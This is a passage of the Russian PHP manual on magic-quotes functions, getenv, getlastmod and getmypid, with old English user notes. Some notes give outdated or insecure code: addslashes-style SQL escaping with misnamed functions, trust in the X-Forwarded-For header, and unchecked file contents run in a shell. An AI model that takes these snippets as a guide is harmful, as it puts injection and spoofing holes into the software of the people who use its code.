get_magic_quotes_gpc — Получение текущего значения настройки конфигурации magic_quotes_gpc

Внимание

Эта функция УСТАРЕЛА, начиная с PHP 7.4.0 и была УДАЛЕНА, начиная с PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

get_magic_quotes_gpc(): false

Всегда возвращает false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает false.

Список изменений

Версия | Описание
7.4.0 | Функция объявлена устаревшей.

Смотрите также

  • addslashes() - Экранирует строку с помощью слешей
  • stripslashes() - Удаляет экранирование символов
  • get_magic_quotes_runtime() - Получение текущего значения настройки конфигурации magic_quotes_runtime
  • ini_get() - Получает значение настройки конфигурации

User Contributed Notes

w3dk 06-May-2015 12:01
> "If the directive magic_quotes_sybase is ON it will completely override magic_quotes_gpc."

This "note" is a bit misleading. magic_quotes_sybase will only override the escaping method used on Get/Post/Cookie data if magic_quotes_gpc is already enabled. If magic_quotes_gpc is not enabled then magic_quotes_sybase will have no effect here.

A few of the other comments are therefore incorrect in determining when to "stripslashes" from the input, by "stripping slashes" when either magic_quotes_gpc OR magic_quotes_sybase is enabled. You should only stripslashes() when magic_quotes_gpc is enabled since that is the only time when slashes are automatically added.

stripslashes() is also magic_quotes_sybase aware, so you don't need to do anything special (ie. write a custom function to handle this situation as another comment suggests) when magic_quotes_sybase is enabled. When magic_quotes_sybase is enabled, stripslashes() does not actually strip any slashes, but instead unescapes single-quotes that are escaped with single-quotes only.

magic_quotes_sybase does however influence the escaping (and unescaping) method used by addslashes() and stripslashes() respectively, regardless of whether magic_quotes_gpc (or magic_quotes_runtime) is enabled.
rogier at dsone 28-Aug-2012 10:12
Regarding the three main strip methods as found below (two using foreach, 1 using the json method), I've done a little benchmarking using 'true' profiling (using a registered tickhandler where declare(ticks=1)).
I wondered whether or not json would not be terribly slow.
I won't discuss the profiler, but will suffice with the following statement, followed by the used code to benchmark:

The json method was by FAR the quickest (contrary to what I'd thought), so if you need a speedy process, use that!

<?php
declare(ticks=1);
function g()
{
    return array(
        'a'=>'i\\\\\\'m',
        array('a1' => 'x', 'b1' => 'x'),
        array( 'a2' => array('a3' => '\\\\\\'x', 'b3' => 'random' )
        )
    );
}

function strip_json($d)
{
    $rs = json_decode(stripslashes(json_encode($d, JSON_HEX_APOS)), true);
    return $rs;
}

function strip_deep1($d)
{
    foreach ($d as $k=>$v)
    {
        if (is_array($v)) { $d[$k] = strip_deep1($v); }
        else { $d[$k] = stripslashes($v); }
    }
    return $d;
}

function strip_deep2(&$d)
{
    $d = is_array($d) ? array_map('strip_deep2', $d) : stripslashes($d);
    return $d;
}

// now profile it
require_once './TickProfiler.php';
$N = 1000;
$d = g();
TickProfiler::Register();
for ($i = 0; $i < $N; $i++){ strip_json($d); }
for ($i = 0; $i < $N; $i++){ strip_deep1($d); }
for ($i = 0; $i < $N; $i++){ strip_deep2($d); }
TickProfiler::Unregister();
TickProfiler::Display();

?>

My output (PHP 5.3.1, win32):
    [TickProfiler::tick] => Array
        (
            [time] => 0.76188707351685
            [calls] => 46001
        )

    [TickProfiler::Register] => Array
        (
            [time] => 3.0994415283203E-5
            [calls] => 1
        )

    [strip_json] => Array
        (
            [time] => 0.025638580322266
            [calls] => 1000
        )

    [strip_deep1] => Array
        (
            [time] => 0.40303444862366
            [calls] => 36000
        )

    [strip_deep2] => Array
        (
            [time] => 0.14928555488586
            [calls] => 9000
        )

)

As can be seen above, using json speeds output by at least a factor of 5 (nearly 6).
Just wanted to share this :D

Do note the strip_json function has two LOC instead of a plain return statement, otherwise it wouldn't get picked up by the tickprofiler (it would return from the code immediately, never reaching the profiler)!

Usage of the return statement in strip_deep2 is not needed, as the argument is passed by reference.
A new test showed that the time penalty for this is about 0.09 seconds.

This actually means that the factor between strip_deep2 vs strip_json is only about 2.
Still, strip_json would be about twice as fast as strip_deep2
hetored at gmail dot com 07-May-2010 02:17
Here's what I came up with to remove magic quotes from request data.

Replaces two single-quotes with one if magic_quotes_sybase are on, otherwise it just strips slashes.

Note that the `foreach` style makes this work only with PHP 5 and above.

<?php

// Strip magic quotes from request data.
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
    // Create lamba style unescaping function (for portability)
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    $unescape_function = (empty($quotes_sybase) || $quotes_sybase === 'off') ? 'stripslashes($value)' : 'str_replace("\'\'","\'",$value)';
    $stripslashes_deep = create_function('&$value, $fn', '
        if (is_string($value)) {
            $value = ' . $unescape_function . ';
        } else if (is_array($value)) {
            foreach ($value as &$v) $fn($v, $fn);
        }
    ');

    // Unescape data
    $stripslashes_deep($_POST, $stripslashes_deep);
    $stripslashes_deep($_GET, $stripslashes_deep);
    $stripslashes_deep($_COOKIE, $stripslashes_deep);
    $stripslashes_deep($_REQUEST, $stripslashes_deep);
}

?>
louis at greynoise dot co dot uk 30-May-2008 08:34
<?php
function stripper($stringvar){
    if (1 == get_magic_quotes_gpc()){
        $stringvar = stripslashes($stringvar);
    }
    return $stringvar;
}
?>

Usage:

<?php
$Body = stripper($rs->fields('Body'));
echo($Body);
?>

This checks if get_magic_quotes_gpc() is on and strips a string variable for output if its on. Useful if the dev server and live server are set up different.
heiko dot richler at informatik dot fh-nuernberg dot de 15-Apr-2008 12:02
@ dot dot dot dot dot alexander at gmail dot com

I suggest replacing foreach by "stripslashes_deep":

Example #2 Using stripslashes() on an array on
<http://www.php.net/manual/en/function.stripslashes.php>:

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}
?>

This gives:

<?php
if((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())    || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) ){
    stripslashes_deep($_GET);
    stripslashes_deep($_POST);
    stripslashes_deep($_COOKIE);
}
?>
dot dot dot dot dot alexander at gmail dot com 09-Mar-2008 07:06
Just a little correction:
( Because of the ini_get function that may return a string value of "off" that evaluates to TRUE )
<?php
        if(
            (  function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()  )
             || (  ini_get('magic_quotes_sybase') && ( strtolower(ini_get('magic_quotes_sybase')) != "off" )  )
           ){
            foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
            foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
            foreach($_COOKIE as $k => $v) $_COOKIE[$k] = stripslashes($v);
        }
?>
slonmron_no_spam_please_ at yahoo dot com 06-Dec-2006 06:32
Re: php at kaiundina dot de (03-Feb-2005 02:18)

1. magic_quotes_gpc=on/off and magic_quotes_sybase=on/off

I made test and your function worked right.
These were the <input ... /> names I used:
name="a"
name="b.b b\b"
name="c[c.1]"
name="c[c 2]"
name="c[c\3]"
name="c.c c[c.' 4]"
name="c ' c[c&quot;4]"
name="d&quot;[d&quot;1]"

(I used &quot; because I don't know other way to put " into the name)

and the user-input value:
a ' " \ \' \" \\ a

2. > 17) The chars '.', ' ' are always replaced by '_' when used in keys.

This is true only for the top-level keys, such as "b.b b\b", "c.c c" and "c ' c" above. The second-level key "[c.' 4]" was not changed to [c_'_4] but was escaped acording to how magic_quites_XXX are set.

Tested on PHP 4.4.0.

These magic_quotes are really black magic :(

It'll be good to make test against $_SESSION, but I can't do it today.
venimus at gmail dot com 11-Jul-2006 06:14
When you work with forms and databases you should use this concept:

1.When inserting the user input in DB escape $_POST/$_GET with add_slashes() or similar (to match the speciffic database escape rules)

$query='INSERT INTO users SET fullname="'.add_slashes($_POST['fullname']).'"';
insert_into_db($query);

2.When reading a previously submitted input from DB use html_special_chars to display an escaped result!

read_db_row('SELECT fullname FROM users');
echo '<input type="text" name="fullname" value="'.html_special_chars($db_row['fullname']).'" />

this way you safely store and work with the original(unescaped) data.
php at kaiundina dot de 02-Feb-2005 04:18
Escaping of key-strings in GPC-arrays behave different to the escaping of their values.

First I expected that keys in submitted gpc-arrays are never escaped.
Anyway. After I saw escaped keys, I assumed they're escaped according to the settings of magic quotes.
... it's even worse...

It took me over 2 days of testing to figure out the exact behavior and creating two functions (one for each php-version) that strips slashes reliably from any array submitted to a script. Hope this saves someones time and nerves.

The following is true for $_GET- and $_POST-arrays. I hope other arrays affected by magic quotes behave equally.
I did not test the behavior for cases where magic_quotes_sybase is set.

== legend for possible case combinations ==
Px = php version we're using
    P4 = php 4.3.9
    P5 = php 5.0.2

MQ = MagicQuotes GPC
    +MQ = magic quotes enabled
    -MQ = magic quotes disabled

TL = TopLevel key
    +TL = key is on top level (i.e. $_GET['myKey'])
    -TL = key is nested within another array (i.e. $_GET['myList']['myKey'])

AK = ArrayKey
    +AK = the value of the key is another array (i.e. is_array($_GET['myKey']) == true)
    -AK = the value is a normal string (i.e. is_string($_GET['myKey']) == true)

== legend for possible results ==
KE = KeyEscaping
    +KE = control chars are prefixed with a backslash
    -KE = key is returned as submitted and needn't to be stripped

VE = ValueEscaping (doesn't apply for array as value)
    +VE = control chars are prefixed with a backslash
    -VE = value is returned as submitted and needn't to be stripped

== here we go - the following rules apply ==
 1) P4 +MQ +AK +TL --> -KE
 2) P4 +MQ +AK -TL --> +KE
 3) P4 +MQ -AK +TL --> -KE +VE
 4) P4 +MQ -AK -TL --> +KE +VE
 5) P4 -MQ +AK +TL --> -KE
 6) P4 -MQ +AK -TL --> -KE
 7) P4 -MQ -AK +TL --> -KE -VE
 8) P4 -MQ -AK -TL --> -KE -VE
 9) P5 +MQ +AK +TL --> -KE
10) P5 +MQ +AK -TL --> +KE
11) P5 +MQ -AK +TL --> +KE +VE
12) P5 +MQ -AK -TL --> +KE +VE
13) P5 -MQ +AK +TL --> -KE
14) P5 -MQ +AK -TL --> -KE
15) P5 -MQ -AK +TL --> +KE -VE
16) P5 -MQ -AK -TL --> +KE -VE
17) The chars '.', ' ' are always replaced by '_' when used in keys.

Example (rule 15):
When running under php 5.0.2 having magic quotes disabled, gpc-keys on top level containing strings are escaped while their associated values are not.

== The following function will strip GPC-arrays for php 4.3.9 ==

<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
        if (is_array($value)) {
            $decodedValue = transcribe($value, false);
        } else {
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

== The following function will strip GPC-arrays for php 5.0.2 ==
<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        if (is_array($value)) {
            $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
            $decodedValue = transcribe($value, false);
        } else {
            $decodedKey = stripslashes($key);
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

Usage:

<?php
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);
?>

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but it's complete. I was unable to compress the decision table more than this.
eltehaem at poczta dot onet dot pl 26-Nov-2004 02:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).


Получение текущего значения настройки конфигурации magic_quotes_runtime

  • « get_magic_quotes_gpc
  • get_required_files »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получение текущего значения настройки конфигурации magic_quotes_runtime

get_magic_quotes_runtime

(PHP 4, PHP 5, PHP 7)

get_magic_quotes_runtime — Получение текущего значения настройки конфигурации magic_quotes_runtime

Внимание

Эта функция УСТАРЕЛА, начиная с PHP 7.4.0 и была УДАЛЕНА, начиная с PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

get_magic_quotes_runtime(): false

Всегда возвращает false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Всегда возвращает false.

Список изменений

Версия | Описание
7.4.0 | Функция объявлена устаревшей.

Смотрите также

  • get_magic_quotes_gpc() - Получение текущего значения настройки конфигурации magic_quotes_gpc

User Contributed Notes

dipshrestha AT mail 20-Aug-2009 06:28
To add to what "php at nospam-qualystem dot com" has mentioned.

Some Japanese Encoding System (shift-jis) encode characters like ? with ASCII pairs "975C". (5C is ASCII for backslash)

Thus when reading those characters from files (saved as shift-jis) in system with magic_quotes_runtime enabled, the characeter is turned into ?\  (equivalent ASCII "975C5C")

Similarly,
???is turned into ?\?
php at nospam-qualystem dot com 09-Jan-2003 05:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.


Псевдоним get_included_files

  • « get_magic_quotes_runtime
  • get_resources »
  • PHP Manual
  • Опции PHP/информационные функции
  • Псевдоним get_included_files

get_required_files

(PHP 4, PHP 5, PHP 7, PHP 8)

get_required_files — Псевдоним get_included_files()

Описание

Функция является псевдонимом: get_included_files().

User Contributed Notes

There are no user contributed notes for this page.


Возвращает активные ресурсы

  • « get_required_files
  • getenv »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает активные ресурсы

get_resources

(PHP 7, PHP 8)

get_resources — Возвращает активные ресурсы

Описание

get_resources(?string $type = null): array

Возвращает массив всех текущих активных ресурсов (resource), опционально отфильтрованный по типу ресурса.

Замечание: Функция предназначена для отладки и тестирования. Функцию не следует использовать в рабочем окружении, особенно для доступа или даже управления ресурсами, которые обычно недоступны (например, базовый ресурс потока экземпляров SplFileObject).

Список параметров

type

Если задано, то get_resources() вернёт только ресурсы указанного типа. Список доступных типов ресурсов.

Если в качестве типа задана строка Unknown, то будут возвращены только ресурсы неизвестного типа.

Если не задано, то будут возвращены все ресурсы.

Возвращаемые значения

Возвращает массив текущих активных ресурсов, проиндексированных по номеру ресурса.

Список изменений

Версия | Описание
8.0.0 | type теперь допускает значение null.

Примеры

Пример #1 Пример использования get_resources()

<?php
$fp = tmpfile();
var_dump(get_resources());
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [1]=>
  resource(1) of type (stream)
}

Пример #2 Пример использования get_resources() с фильтрацией

<?php
$fp = tmpfile();
var_dump(get_resources('stream'));
var_dump(get_resources('curl'));
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [1]=>
  resource(1) of type (stream)
}
array(0) {
}

Смотрите также

  • get_loaded_extensions() - Возвращает массив имён всех скомпилированных и загруженных модулей
  • get_defined_constants() - Возвращает ассоциативный массив с именами всех констант и их значений
  • get_defined_functions() - Возвращает массив всех определённых функций
  • get_defined_vars() - Возвращает массив всех определённых переменных

User Contributed Notes

There are no user contributed notes for this page.


Получает значение одной или всех переменных окружения

  • « get_resources
  • getlastmod »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает значение одной или всех переменных окружения

getenv

(PHP 4, PHP 5, PHP 7, PHP 8)

getenv — Получает значение одной или всех переменных окружения

Описание

getenv(?string $name = null, bool $local_only = false): string|array|false

Получает значение одной или всех переменных окружения.

Список всех переменных окружения можно посмотреть с помощью функции phpinfo(). Многие из этих переменных есть в документе » RFC 3875, по большей части в разделе 4.1, "Request Meta-Variables".

Список параметров

name

Имя переменной в виде строки (string) или null.

local_only

Если установлено значение true, возвращаются только локальные переменные окружения, установленные операционной системой или командой putenv. Это имеет значение только в том случае, если параметр name является строкой (string).

Возвращаемые значения

Возвращает значение переменной окружения name или false, если переменная окружения name не существует. Если name равно null, возвращаются все переменные окружения в виде ассоциативного массива (array).

Список изменений

Версия | Описание
8.0.0 | Параметр name теперь допускает значение null.
7.1.0 | Параметр name теперь может быть опущен для получения ассоциативного массива (array) всех переменных окружения.
7.0.9 | Был добавлен параметр local_only.

Примеры

Пример #1 Пример использования getenv()

<?php
// Пример использования getenv()
$ip = getenv('REMOTE_ADDR');

// Можно ещё воспользоваться суперглобальной переменной ($_SERVER или $_ENV)
$ip = $_SERVER['REMOTE_ADDR'];

// Гарантированно получаем значение переменной окружения, не обращая внимания,
// была ли она переопределена SAPI или изменена с помощью putenv
$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR');
?>

Примечания

Внимание

Если PHP запущен в SAPI, например как Fast CGI, эта функция будет возвращать значения переменных окружения установленных SAPI, даже если вы использовали putenv() для установки локальной переменной с таким же именем. Используйте параметр local_only для получения установленных локально переменных.

Смотрите также

  • putenv() - Устанавливает значение переменной среды
  • apache_getenv() - Возвращает переменную окружения подпроцесса сервера Apache
  • Суперглобальные переменные

User Contributed Notes

jcastromail at yahoo dot es 30-Sep-2020 08:45
I did a benchmark about env.

constants :
0.00067687034606934 ms
getenv :
0.056761026382446 ms

(less is better)

https://github.com/eftec/php-benchmarks#define--const--env

And, in Windows at leat, reading the env value is considerably slow (in comparison with a constant), so PHP doesn't cache the information and asks to the OS the env value per call.

So, if you are calling once per request, then there is not a problem. However, if you are calling it many times per request, then it could affects the performance.
Anonymous 09-May-2019 02:07
It is worth noting that since getenv('MY_VARIABLE') will return false when the variable given is not set, there is no direct way to distinguish between a variable that is unset and one that is explicitly set to the value bool(false) when using getenv().
This makes it somewhat tricky to have boolean environment variables default to true if unset, which you can work around either by using "falsy" values such as 0 with the strict comparison operators or by using the superglobal arrays and isset().
larby dot robert at gmail dot com 01-Aug-2018 09:23
From PHP 7.1 => getenv() no longer requires its parameter. If the parameter is omitted, then the current environment variables will be returned as an associative array.

Source: http://php.net/manual/en/migration71.changed-functions.php
Anonymous 07-Apr-2018 04:56
Contrary to what eng.mrkto.com said, getenv() isn't always case-insensitive. On Linux it is not:

<?php
var_dump(getenv('path')); // bool(false)
var_dump(getenv('Path')); // bool(false)
var_dump(getenv('PATH')); // string(13) "/usr/bin:/bin"
jaraco at jaraco dot com 06-Jul-2017 01:49
The example on how to fallback produces a syntax error on PHP 5.2:

-bash-3.2$ cat test.php
<?php

$ip = getenv('REMOTE_ADDR', true) ?: getenv('REMOTE_ADDR')

?>

-bash-3.2$ /web/cgi-bin/php5 test.php
Content-type: text/html

<br />
<b>Parse error</b>:  syntax error, unexpected ':' in <b>/home/content/25/11223125/test.php</b> on line <b>3</b><br />

On PHP 5.2, one must write

$ip = getenv('REMOTE_ADDR', true) ? getenv('REMOTE_ADDR', true) : getenv('REMOTE_ADDR')
yw()beeznest!com 02-Aug-2016 12:10
As noted on httpoxy.org, getenv() can confuse you in having you believe that all variables come from a "safe" environment (not all of them do).

In particular, $_SERVER['HTTP_PROXY'] (or its equivalent getenv('HTTP_PROXY')) can be manually set in the HTTP request header, so it should not be considered safe in a CGI environment.

In short, try to avoid using getenv('HTTP_PROXY') without properly filtering it.
pritisn at gmail dot com 19-May-2015 11:55
for quick check of getenv() adding a new env variable -
if you add a new env variable, make sure not only apache but xampp is also restarted.
Otherwise getenv() will return false for the newly added env variable.
hello at jabran dot me 03-Apr-2015 06:47
Beware that when using this function with PHP built-in server - i.e. php -S localhost:8000 - it will return boolean FALSE.
php at keith tyler dot com 08-Feb-2012 12:51
All of the notes and examples so far have been strictly CGI.
It should not be understated the usefulness of getenv()/putenv() in CLI as well.

You can pass a number of variables to a CLI script via environment variables, either in Unix/Linux bash/sh with the "VAR='foo'; export $VAR" paradigm, or in Windows with the "set VAR='foo'" paradigm. (Csh users, you're on your own!) getenv("VAR") will retrieve that value from the environment.

We have a system by which we include a file full of putenv() statements storing configuration values that can apply to many different CLI PHP programs. But if we want to override these values, we can use the shell's (or calling application, such as ant) environment variable setting method to do so.

This saves us from having to manage an unmanageable amount of one-off configuration changes per execution via command line arguments; instead we just set the appropriate env var first.
eng.mrkto.com 29-Jul-2010 11:36
This function is useful (compared to $_SERVER, $_ENV) because it searches $varname key in those array case-insensitive manner.
For example on Windows $_SERVER['Path'] is like you see Capitalized, not 'PATH' as you expected.
So just: <?php getenv('path') ?>
chuck dot reeves at gmail dot com 06-May-2010 11:59
When writing CLI applications, not that any environment variables that are set in your web server config will not be passed through.  PHP will pass through system environment variables that are prefixed based off the safe_mode_allowed_env_vars directive in your php.ini
f dot hartmann2 at gmx dot net 23-Jul-2009 05:42
A function returning the remote adress of the visiting browser could look like this:

<?php
function getIPfromXForwarded() {
    $ipString=@getenv("HTTP_X_FORWARDED_FOR");
    $addr = explode(",",$ipString);
    return $addr[sizeof($addr)-1];
}
?>

Note that some adresses are followed by a whitespace and ip2long(getIPfromXForwarded()) would not return the expected result.

Make use of trim() in your scripts, either in the function itself, or the surrounding space of the caller.

Greetings
sam at sambarrow dot com 12-Mar-2008 05:32
SERVER_NAME is the name defined in the apache configuration.
HTTP_HOST is the host header sent by the client when using the more recent versions of the http protocol.
kyong 04-Feb-2004 01:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.


Получает время последней модификации страницы

  • « getenv
  • getmygid »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает время последней модификации страницы

getlastmod

(PHP 4, PHP 5, PHP 7, PHP 8)

getlastmod — Получает время последней модификации страницы

Описание

getlastmod(): int|false

Получает время последней модификации запущенного скрипта.

Если требуется получить время модификации произвольного файла, используйте функцию filemtime().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время последней модификации текущей страницы. Значение является меткой времени Unix, подходящая для функции date(). Функция вернёт false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования getlastmod()

<?php
// Выводит нечто вроде 'Последнее изменение: March 04 1998 20:43:59.'
echo "Последнее изменение: " . date ("F d Y H:i:s.", getlastmod());
?>

Смотрите также

  • date() - Форматирует временную метку Unix
  • getmyuid() - Получение UID владельца скрипта PHP
  • getmygid() - Получить GID владельца скрипта PHP
  • get_current_user() - Получает имя владельца текущего скрипта PHP
  • getmyinode() - Получает значение inode текущего скрипта
  • getmypid() - Получение ID процесса PHP
  • filemtime() - Возвращает время последнего изменения файла

User Contributed Notes

Moro 29-Jun-2012 03:03
Return latest mod time of all included files:

<?php
function get_page_mod_time() {
    $incls = get_included_files();
    $incls = array_filter($incls, "is_file");
    $mod_times = array_map('filemtime', $incls);
    $mod_time = max($mod_times);

    return $mod_time;
}
?>
luca dot delpivo at gmail dot com 11-Mar-2012 07:52
With better words getlastmod() returning the last time the script in which it is being called was modified, it does not require or use a parameter.
erik dot stetina at gmail dot com 27-Sep-2011 03:47
function for displaying last modification time accross more direcotries. e.g. to display last modification date in "about" section of your web page

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$s','return "'.$prefix.'".$s;');
  return array_map($callback,$array);
}

function get_last_update()
{
  if ( func_num_args() < 1 ) return 0;
  $dirs = func_get_args();
  $files = array();
  foreach ( $dirs as $dir )
  {
    $subfiles = scandir($dir);
    $subfiles = array_prefix_values($dir,$subfiles);
    $subfiles = array_filter($subfiles,"is_file");
    $files = array_merge($files,$subfiles);
  }
  $maxtimestamp = 0;
  $maxfilename = "";
  foreach ( $files as $file )
  {
    $timestamp = filemtime($file);
    if ( $timestamp > $maxtimestamp )
    {
      $maxtimestamp = $timestamp;
      $maxfilename = $file;
    }
  }
  return date("Ymd",$maxtimestamp)." ($maxfilename)";
}

print "last update: ".get_last_update("./lib/", "./css/", "./lang/");
?>

OUTPUT:
last update: 20110927 (./lang/sk.php)
Ant P. 24-Feb-2010 10:48
If you use register_shutdown_function() on certain SAPIs, various filesystem-related things inside the shutdown function might do unexpected things, one of which being this function can return false.

On the other hand getlastmod() apparently caches the return value, so if you use it at least once in normal code it should work for the remainder of the request.
rwruck 17-Oct-2004 06:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 04:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net 20-Mar-2003 01:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

<?php
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

<?php
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>


Получить GID владельца скрипта PHP

  • « getlastmod
  • getmyinode »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получить GID владельца скрипта PHP

getmygid

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

getmygid — Получить GID владельца скрипта PHP

Описание

getmygid(): int|false

Получает идентификатор группы текущего скрипта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает групповой идентификатор текущего скрипта или false в случае возникновения ошибки.

Смотрите также

  • getmyuid() - Получение UID владельца скрипта PHP
  • getmypid() - Получение ID процесса PHP
  • get_current_user() - Получает имя владельца текущего скрипта PHP
  • getmyinode() - Получает значение inode текущего скрипта
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 02:32
On Windows this will always return 0, except when "php -r" is used, when it returns 1.


Получает значение inode текущего скрипта

  • « getmygid
  • getmypid »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает значение inode текущего скрипта

getmyinode

(PHP 4, PHP 5, PHP 7, PHP 8)

getmyinode — Получает значение inode текущего скрипта

Описание

getmyinode(): int|false

Получает inode текущего скрипта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает inode текущего скрипта в виде целого числа или false в случае ошибки.

Смотрите также

  • getmygid() - Получить GID владельца скрипта PHP
  • getmyuid() - Получение UID владельца скрипта PHP
  • getmypid() - Получение ID процесса PHP
  • get_current_user() - Получает имя владельца текущего скрипта PHP
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

There are no user contributed notes for this page.


Получение ID процесса PHP

  • « getmyinode
  • getmyuid »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получение ID процесса PHP

getmypid

(PHP 4, PHP 5, PHP 7, PHP 8)

getmypid — Получение ID процесса PHP

Описание

getmypid(): int|false

Получает идентификатор процесса PHP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор процесса PHP или false в случае возникновения ошибки.

Примечания

Внимание

Идентификаторы процессов в системе не уникальны, поэтому являются слабым источником энтропии. Мы не рекомендуем полагаться на pid в контекстах, влияющих на безопасность.

Смотрите также

  • getmygid() - Получить GID владельца скрипта PHP
  • getmyuid() - Получение UID владельца скрипта PHP
  • get_current_user() - Получает имя владельца текущего скрипта PHP
  • getmyinode() - Получает значение inode текущего скрипта
  • getlastmod() - Получает время последней модификации страницы

User Contributed Notes

martijn at nowhere dot com 18-Feb-2016 03:42
On windows, you can get a list of PID's using this single line statement: <?php $pids = array_column(array_map('str_getcsv', explode("\n",trim(`tasklist /FO csv /NH`))), 1); ?>.
brospam at gmail dot com 23-Aug-2013 10:19
My lockfile system

<?php
function isLocked(){
    if(file_exists(LOCK_FILE)) {
        $lockingPID = trim(file_get_contents(LOCK_FILE));
        $test=trim(`ps -p $lockingPID -o pid=`);
        if(!empty($test)) return true;
        echo "Removing stale lock file.\n";
        unlink(LOCK_FILE);
    }
    file_put_contents(LOCK_FILE, getmypid()."\n");
    return false;
}
?>
Radu Cristescu 22-Jul-2013 06:44
The lock-file mechanism in Kevin Trass's note is incorrect because it is subject to race conditions.

For locks you need an atomic way of verifying if a lock file exists and creating it if it doesn't exist. Between file_exists and file_put_contents, another process could be faster than us to write the lock.

The only filesystem operation that matches the above requirements that I know of is symlink().

Thus, if you need a lock-file mechanism, here's the code. This won't work on a system without /proc (so there go Windows, BSD, OS X, and possibly others), but it can be adapted to work around that deficiency (say, by linking to your pid file like in my script, then operating through the symlink like in Kevin's solution).

#!/usr/bin/php
<?php

define('LOCK_FILE', "/var/run/" . basename($argv[0], ".php") . ".lock");

if (!tryLock())
    die("Already running.\n");

# remove the lock on exit (Control+C doesn't count as 'exit'?)
register_shutdown_function('unlink', LOCK_FILE);

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

exit(0);

function tryLock()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if (@symlink("/proc/" . getmypid(), LOCK_FILE) !== FALSE) # the @ in front of 'symlink' is to suppress the NOTICE you get if the LOCK_FILE exists
        return true;

    # link already exists
    # check if it's stale
    if (is_link(LOCK_FILE) && !is_dir(LOCK_FILE))
    {
        unlink(LOCK_FILE);
        # try to lock again
        return tryLock();
    }

    return false;
}
?>
